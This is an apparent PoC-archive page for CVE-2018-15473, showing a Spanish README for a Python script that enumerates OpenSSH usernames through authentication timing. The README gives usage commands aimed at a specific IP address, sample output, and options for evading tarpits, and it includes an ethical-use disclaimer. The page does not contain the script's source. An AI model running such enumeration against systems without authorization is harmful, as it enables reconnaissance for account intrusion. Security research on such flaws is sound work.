Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-15473 PoC — OpenSSH 竞争条件问题漏洞

Source
Associated Vulnerability
Title:OpenSSH 竞争条件问题漏洞 (CVE-2018-15473)
Description:OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.
Description
script de enumeración de usuarios SSH basado en diferencias de timing y respuestas de autenticación. Explota el mismo vector que CVE-2018-15473 en versiones vulnerables de OpenSSH (≤ 7.7), aunque también puede revelar patrones en configuraciones modernas.
Readme
# ssh_enum_py
script de enumeración de usuarios SSH basado en diferencias de timing y respuestas de autenticación. Explota el mismo vector que CVE-2018-15473 en versiones vulnerables de OpenSSH (≤ 7.7), aunque también puede revelar patrones en configuraciones modernas.
Funciona en Python 3 + Paramiko y soporta:

Prelectura de banner para evitar errores de EOF/NoBanner.

Retries por intento y cooldown entre usuarios (para evadir tarpits/MaxStartups).

Autotune de parámetros (-m, -t) según el jitter del objetivo.

⚠️ Uso Ético

Este script debe usarse únicamente en entornos propios o con autorización explícita.
El abuso contra sistemas externos sin permiso puede ser ilegal.

📖 Uso básico
./ssh_enum_py3.py -i <IP> -u users.txt -m <multiplier_ms> -t <threshold>


Ejemplo:
./ssh_enum_py3.py -i 149.210.234.234 -u users.txt -m 5000 -t 8


⚙️ Opciones
-i, --ip              Host/IP objetivo (obligatorio)
-p, --port            Puerto SSH (default: 22)
-u, --userlist        Archivo con lista de usuarios (uno por línea)

-a, --autotune        Calcula parámetros recomendados (multiplier y threshold)
-m, --multiplier      Umbral en milisegundos por encima de la mediana local
-t, --threshold       Número mínimo de “votos” (intentos que superan el cutoff)

--attempts            Intentos por usuario (default: 12)
--timeout             Timeout de conexión/autenticación (s, default: 6)
--banner-timeout      Timeout para leer el banner SSH (s, default: 12)
--delay               Pausa entre intentos de un mismo usuario (s, default: 0.6)
--cooldown-users      Pausa entre usuarios (s, default: 0)
--retries             Reintentos por intento en caso de error de banner/transporte

🚀 Ejemplos de uso
1. Autotune (solo medir baseline)
./ssh_enum_py3.py -i 149.210.234.234 -a --timeout 12 --banner-timeout 30 --retries 5

Salida:

[*] Autotune sugerido:
    multiplier (ms): 4986
    threshold      : 8
    baseline_med   : 3586 ms  (avg=3596 ms)
    error mix      : {'AuthFailed': 12}

2. Autotune + enumeración en la misma corrida
./ssh_enum_py3.py -i 149.210.234.234 -a -u users.txt \
  --timeout 12 --banner-timeout 30 --delay 3 --cooldown-users 15

3. Enumeración directa con parámetros fijos
./ssh_enum_py3.py -i 149.210.234.234 -u users.txt -m 4986 -t 8 \
  --attempts 10 --timeout 12 --banner-timeout 30 --retries 5 --delay 3 --cooldown-users 15

📋 Interpretación de resultados

likely VALID → Usuario probablemente existe (superó cutoff en ≥ threshold intentos).

likely INVALID → Usuario probablemente no existe (respuestas consistentes como “AuthFailed”).

errors={...} → resumen de códigos:

AuthFailed: respuesta normal de SSH.

NoBanner: el servidor cortó antes de banner (tarpit, MaxStartups, WAF).

TransportError: error de red/tiempo.
File Snapshot

[4.0K] /data/pocs/fd274d65748afff9e7cc9a79eb957b389388c28d └── [2.7K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →